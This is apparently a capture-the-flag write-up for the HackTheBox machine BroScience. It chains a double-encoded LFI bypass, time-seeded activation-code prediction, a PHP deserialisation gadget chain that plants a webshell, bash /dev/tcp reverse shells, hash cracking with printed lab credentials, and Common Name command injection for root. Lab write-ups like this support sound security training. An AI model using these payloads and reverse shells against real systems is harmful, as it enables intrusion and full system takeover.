All writeups
HackTheBox: BroScience avatar
MACHINE Linux HackTheBox 3/5

HackTheBox: BroScience

2026-06-08 15 min read
Tracks CWES

Introduction

BroScience is a Linux machine built around a gym-themed web application that chains together several web vulnerabilities and a creative privilege escalation via a cronjob. The path has a satisfying rhythm - each step uses what you learned from the previous one. The path to root:

  1. Enumeration → Nmap reveals SSH, HTTP, and HTTPS; domain broscience.htb found in the TLS certificate
  2. LFI via double URL-encodingimg.php?path= parameter is filtered, but double-encoding bypasses it
  3. Source code review → LFI used to read utils.php, revealing a time-seeded activation code generator
  4. Account activation bypass → register an account, predict the activation token by brute-forcing timestamps ±5 seconds with ffuf
  5. PHP deserialisation → the user-prefs cookie is a serialised PHP object; a custom gadget chain (AvatarInterfaceAvatar) copies arbitrary files on the server
  6. RCE via session file poisoning → set your username to a PHP webshell, copy your session file to the webroot as cmd.php
  7. Reverse shell as www-data → trigger the webshell with a URL-encoded bash reverse shell
  8. Lateral movementdb_connect.php in the webroot contains PostgreSQL credentials; the users table has salted MD5 hashes; Hashcat cracks bill’s hash → SSH in
  9. Privilege escalationpspy reveals a root-owned cronjob running /opt/renew_cert.sh; the script passes an OpenSSL certificate’s Common Name unsanitised into a shell command → inject a reverse shell payload there

Key Concepts

What is double URL-encoding? Normal URL-encoding turns / into %2F. Some web application firewalls decode the URL once and check for ../ patterns. Double URL-encoding means encoding the % sign itself - so %2F becomes %252F (because %%25). If the WAF only decodes once, it sees %252F and passes it. The web server then decodes it a second time, turning it back into /. The result: the filter is bypassed, but the application still processes the traversal path.

What is srand(time())? srand() seeds PHP’s random number generator, and time() returns the current Unix timestamp (seconds since 1970). Seeding with the current time means if you know roughly when a code was generated, you can reproduce the exact same sequence of “random” numbers by replaying the same seed. Since timestamps have one-second granularity and there’s network/processing delay, trying ±5 seconds around the server’s response time is usually enough to find the right code.

What is PHP deserialisation? PHP can convert objects to a string format (serialise) and back (deserialise). When a cookie or other user input is deserialised, PHP automatically calls certain magic methods like __wakeup(). If the application doesn’t validate what gets deserialised, an attacker can craft a malicious serialised object that triggers arbitrary code paths when the server processes it. This is called an insecure deserialisation vulnerability.

What is a gadget chain? In PHP deserialisation attacks, you don’t inject arbitrary code directly - you chain together existing classes in the application’s codebase to produce a useful effect. Here, AvatarInterface::__wakeup() calls Avatar::save(), which reads from one file path and writes to another. Both paths are attacker-controlled - so we use the chain to copy files on the server.

What is session file poisoning? PHP stores session data in files, typically under /var/lib/php/sessions/. The filename includes the session ID from the PHPSESSID cookie. Session data includes variables like the logged-in username. If you set your username to PHP code and then copy your session file into the webroot as a .php file, the PHP engine will execute that code when the file is requested.

What is a salted hash? A salt is a random (or fixed) string appended to a password before hashing it, to prevent rainbow table attacks. Here the salt is NaCl (sodium chloride - a gym/science joke). Hashcat mode 20 handles md5($salt.$password) format by specifying hashes as hash:salt in the input file.

What is pspy? A Linux tool that monitors running processes without needing root privileges. It reads from /proc to see every command that gets executed on the system, including cron jobs run by other users. It’s an essential part of any Linux privilege escalation methodology.

What is command injection through an unquoted shell variable? When a bash script uses a variable like $commonName in a command without quoting it, the shell interprets special characters like $() as command substitution. This means if $commonName contains $(bash -i >& /dev/tcp/... 0>&1), the shell will execute that as a command. The vulnerability here is that the certificate’s Common Name is read from the .crt file and passed directly into a mv command without sanitisation.


Enumeration

Nmap

ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV <TARGET>

Key open ports:

PortServiceNotes
22SSH - OpenSSH 8.4p1Standard remote access
80HTTP - Apache 2.4.54Redirects to HTTPS
443HTTPS - Apache 2.4.54Domain: broscience.htb in TLS cert

The TLS certificate’s commonName field reveals the domain name. Add it to /etc/hosts:

echo "<TARGET> broscience.htb" | sudo tee -a /etc/hosts

Web Enumeration: Port 443

Visiting https://broscience.htb shows a gym-themed website with workout articles. There’s a login form but no working credentials, and a registration form that says it will send a confirmation email - which we can’t access.

Looking at the page source, images are loaded via:

/includes/img.php?path=bench.png

The path parameter looks like a file path. This is a classic LFI candidate - let’s test it.


Local File Inclusion: Bypassing the Filter

First attempt (blocked)

curl -k 'https://broscience.htb/includes/img.php?path=../../../../../../etc/passwd'
# <b>Error:</b> Attack detected.

A filter is blocking directory traversal. Let’s try double URL-encoding.

Bypass with double URL-encoding

In normal URL-encoding, / becomes %2F. Double-encoding means the % sign itself is encoded as %25, giving %252F. If the WAF decodes once to check for ../ and sees ..%252F, it passes. The web server then decodes again and processes the actual path traversal.

curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd' | grep '/bin/bash'
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

LFI confirmed. We can read arbitrary files. Note the usernames: root, bill, and postgres will be useful later.

Read the includes directory

The application’s directory listing at /includes/ (accessible from the browser) shows several PHP files: db_connect.php, header.php, img.php, navbar.php, and utils.php. Let’s read utils.php since it likely contains important application logic.

curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252Fincludes%252Futils.php'

This reveals two things: the activation code generation logic, and two PHP classes - Avatar and AvatarInterface - that will be critical for the foothold step.


Activation Code Bypass: Predicting the Token

The vulnerable code

In utils.php, the generate_activation_code() function looks like this:

function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

The seed is time() - the current Unix timestamp in seconds. If we know when the server generated the code, we can reproduce it.

Register an account and catch the server time

Open Burp Suite, register a new account (use any fake email), and intercept the response. The Date header tells us the server time:

Date: Mon, 09 Jan 2023 12:48:18 GMT

Convert this to a Unix timestamp. You can use an online converter or:

date -d "Mon, 09 Jan 2023 12:48:18 GMT" +%s
# 1673269698

Generate candidate codes

Create the following script as generate_activation_code.php. It replays the same generation logic for 11 timestamps centred on the server response time (±5 seconds to account for processing delay):

<?php
function generate_activation_code($t) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand($t);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

$t_start = (int)$argv[1];
for ($t = $t_start - 5; $t <= $t_start + 5; $t++) {
    echo generate_activation_code($t) . "\n";
}
?>

Run it with your timestamp:

php generate_activation_code.php 1673269698 | tee activation_codes.txt

Fuzz the activation endpoint

Use ffuf to try each generated code against the activation endpoint. The --fs 1256 flag filters out the “invalid code” responses (which are all the same size), leaving only the hit:

ffuf -w activation_codes.txt -u 'https://broscience.htb/activate.php?code=FUZZ' --fs 1256 -k

One code returns a 200 with a different response size - your account is now activated. Log in with your registered credentials.


Foothold: PHP Deserialisation → RCE via Session Poisoning

Once logged in, click the light/dark theme toggle. Open Dev Tools → Application → Cookies and look at the user-prefs cookie. It’s a Base64-encoded string. Decode it:

echo "dXNlcl9wcmVmcz..." | base64 -d
# O:13:"AvatarInterface":2:{s:3:"tmp";s:...;s:7:"imgPath";s:...;}

This is a serialised PHP object. The server calls unserialize() on this cookie value every page load - and we can control exactly what gets deserialised.

Understand the gadget chain

Back in utils.php, the two classes work like this:

class Avatar {
    public $imgPath;
    // save() reads from $tmp and writes to $imgPath
    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath;
    // __wakeup() is called automatically on deserialise
    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

When the server deserialises our cookie, __wakeup() is called on AvatarInterface. It creates an Avatar and calls save(), which reads from $tmp and writes to $imgPath. We control both paths.

Step 1: Poison your username

In the “Edit User” form, change your username to:

<?=exec($_GET[melo])?>

This is a PHP webshell. It will be stored as your username in the session file.

Why this specific payload? <?= is PHP’s short echo tag. exec() runs a system command and outputs the result. $_GET[melo] reads the melo URL parameter. When this string is included in a PHP file and executed, visiting cmd.php?melo=id will run id on the server.

Step 2: Note your session ID

Check your PHPSESSID cookie value. For example: 3g99o1tq6tmfaate6didfqev0o

Your session file on the server is at:

/var/lib/php/sessions/sess_3g99o1tq6tmfaate6didfqev0o

Step 3: Build the serialisation payload

Save this as serialise_payload.php, replacing the session ID and paths with your own:

<?php
class Avatar {
    public $imgPath;
    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }
    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath;
    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$a = new AvatarInterface();
$a->tmp = "/var/lib/php/sessions/sess_3g99o1tq6tmfaate6didfqev0o"; // your session ID
$a->imgPath = "/var/www/html/cmd.php";                               // destination in webroot
echo base64_encode(serialize($a)) . "\n";
?>

Run it to generate your payload:

php serialise_payload.php
# TzoxNToiQXZhdGFySW50...

Step 4: Inject and trigger

In Burp Suite, intercept a GET request to the homepage while logged in. Replace the user-prefs cookie value with your generated payload string. Forward the request.

The server deserialises the cookie, __wakeup() fires, and save() copies your session file (which contains your PHP webshell username) to /var/www/html/cmd.php.

Verify it worked:

curl -k https://broscience.htb/cmd.php?melo=id
# id|s:1:"6";username|s:22:"uid=33(www-data)...

The webshell is live.

Step 5: Get a reverse shell

Start a listener:

nc -lvnp 4444

Trigger a bash reverse shell through the webshell (URL-encoded):

curl -k "https://broscience.htb/cmd.php?melo=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<YOUR_IP>%2F4444%200%3E%261%27"

You’ll receive a shell as www-data. Upgrade it to a proper TTY:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Lateral Movement: Database Credentials → bill

Find database credentials in the webroot

When you first land as www-data, always check the webroot for config files - they routinely contain database credentials. Read db_connect.php (which we spotted during LFI enumeration):

cat /var/www/html/includes/db_connect.php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

Note the salt - you’ll need it for cracking.

Connect to PostgreSQL and dump hashes

psql -h localhost -p 5432 --username=dbuser -W broscience
# Password: RangeOfMotion%777
broscience=> select username,password from users;
 username      | password
---------------+----------------------------------
 administrator | 15657792073e8a843d4f91fc403454e1
 bill          | 13edad4932da9dbb57d9cd15b66ed104
 michael       | bd3dad50e2d578ecba87d5fa15ca5f85
 john          | a7eed23a7be6fe0d765197b1027453fe
 dmytro        | 5d15340bded5b9395d5d14b9c21bc82b

Crack the hashes with Hashcat

The hashes are md5($salt.$password) - Hashcat mode 20. Format the hash file as hash:salt:

cat hashes.txt
# 15657792073e8a843d4f91fc403454e1:NaCl
# 13edad4932da9dbb57d9cd15b66ed104:NaCl
# bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
# a7eed23a7be6fe0d765197b1027453fe:NaCl
# 5d15340bded5b9395d5d14b9c21bc82b:NaCl

hashcat -m 20 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Hashcat cracks three of the five. The only user with a home directory (from /etc/passwd) is bill, whose hash cracks to: iluvhorsesandgym

SSH in as bill

ssh bill@<TARGET>
# Password: iluvhorsesandgym
bill@broscience:~$ id
uid=1000(bill) gid=1000(bill) groups=1000(bill)

User flag captured. /home/bill/user.txt


Privilege Escalation: Cronjob + OpenSSL Common Name Injection

Discover the cronjob with pspy

Download pspy64 from GitHub onto your attacker machine, then transfer it to the target:

# Attacker
python3 -m http.server 8000

# Target (as bill)
cd /tmp
wget http://<YOUR_IP>:8000/pspy64
chmod +x pspy64
./pspy64

Wait a few minutes. You’ll see this running as root (UID=0):

CMD: UID=0   PID=...   | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt

A root-owned script is automatically processing certificate files from bill’s Certs directory.

Analyse the vulnerable script

cat /opt/renew_cert.sh

The critical part at the end:

# Extract the Common Name from the certificate
commonName=$(openssl x509 -noout -subject -in $1 | sed 's/.*CN=//')

# Check if cert expires within 24 hours (86400 seconds)
openssl x509 -in $1 -noout -checkend 86400 > /dev/null

if [ $? -eq 0 ]; then
    echo "No need to renew yet."
    exit 1
fi

# Vulnerable line - $commonName is unquoted and unsanitised
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"

Two conditions must be met to reach the vulnerable line: the certificate file must exist, and it must be expiring within 24 hours. Both are easy to satisfy - we generate a fresh cert with -days 1.

Why is $commonName dangerous here? The variable is substituted directly into a double-quoted bash string inside /bin/bash -c "...". If $commonName contains $(command), bash performs command substitution and executes it as root. There’s no sanitisation or quoting of the variable before it hits the shell.

Step 1: Start a listener

nc -lvnp 4444

Step 2: Generate a malicious certificate

On the target as bill, run the following. When prompted for each field, press Enter to accept the default - except for “Common Name”, where you paste the reverse shell payload:

openssl req -x509 -sha256 -nodes -days 1 -newkey rsa:4096 -keyout /dev/null -out broscience.crt

At the Common Name prompt, enter:

$(bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1)

Why -days 1? The script first checks whether the certificate expires within 86400 seconds (24 hours). A cert valid for only 1 day will pass this check, allowing the script to reach the vulnerable mv command.

Step 3: Place the certificate where the cronjob expects it

mv broscience.crt /home/bill/Certs/broscience.crt

Step 4: Wait for the cronjob

Within a minute or two, the cronjob runs, reads the certificate, extracts the Common Name (your payload), and executes it as root:

nc -lvnp 4444
listening on [any] 4444 ...
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET>] 55922
root@broscience:~# id
uid=0(root) gid=0(root) groups=0(root)

Root flag captured. /root/root.txt


Summary

nmap → port 443 (HTTPS, domain broscience.htb in TLS cert)

/includes/img.php?path= → LFI filter → double URL-encode (%252F) → bypass

LFI reads utils.php → generate_activation_code() uses srand(time())

Register account → intercept response → grab server Date header → convert to Unix timestamp

php generate_activation_code.php <timestamp> → 11 candidate codes

ffuf → fuzz /activate.php?code=FUZZ → account activated

Login → user-prefs cookie = base64(serialize(UserPrefs))
utils.php: AvatarInterface::__wakeup() → Avatar::save() copies $tmp → $imgPath

Change username to: <?=exec($_GET[melo])?>
Serialise AvatarInterface(tmp=session_file, imgPath=/var/www/html/cmd.php)
Inject base64 payload into user-prefs cookie → server deserialises → session copied to cmd.php

nc -lvnp 4444
curl /cmd.php?melo=<URL-encoded bash reverse shell>
→ www-data shell
→ USER FLAG (/home/bill/user.txt) ... not yet - need lateral movement

cat /var/www/html/includes/db_connect.php → dbuser:RangeOfMotion%777, salt=NaCl
psql → select username,password from users → 5 md5 hashes
hashcat -m 20 hashes.txt:NaCl rockyou.txt → bill:iluvhorsesandgym

ssh bill@<TARGET> → USER FLAG (/home/bill/user.txt)

pspy64 → root cronjob: /opt/renew_cert.sh /home/bill/Certs/broscience.crt
cat /opt/renew_cert.sh → $commonName used unquoted in /bin/bash -c "mv ... /$commonName.crt"

openssl req -x509 -days 1 ... → Common Name: $(bash -i >& /dev/tcp/<ip>/4444 0>&1)
mv broscience.crt /home/bill/Certs/broscience.crt

nc -lvnp 4444 → root@broscience → ROOT FLAG (/root/root.txt)

Tools Used

ToolWhat it doesHow to get it
nmapNetwork port scanner and service fingerprintersudo apt install nmap
curlMakes HTTP/HTTPS requests from the command line; used for LFI and triggering the webshellBuilt into most Linux systems
Burp SuiteHTTP proxy for intercepting and modifying web requests and cookiesportswigger.net (Community Edition is free)
ffufFast web fuzzer; used here to brute-force the activation code endpointsudo apt install ffuf
php (CLI)Runs PHP scripts locally; used to generate activation codes and the serialisation payloadsudo apt install php
psqlPostgreSQL command-line clientsudo apt install postgresql-client
HashcatGPU-accelerated password cracker; mode 20 handles md5($salt.$password)sudo apt install hashcat
Netcat (nc)Sets up listeners to catch reverse shellssudo apt install netcat-traditional
pspyMonitors running Linux processes without root; catches cronjobs and scheduled tasksgithub.com/DominicBreuker/pspy
opensslGenerates SSL/TLS certificates; used here to craft a malicious .crt fileBuilt into most Linux systems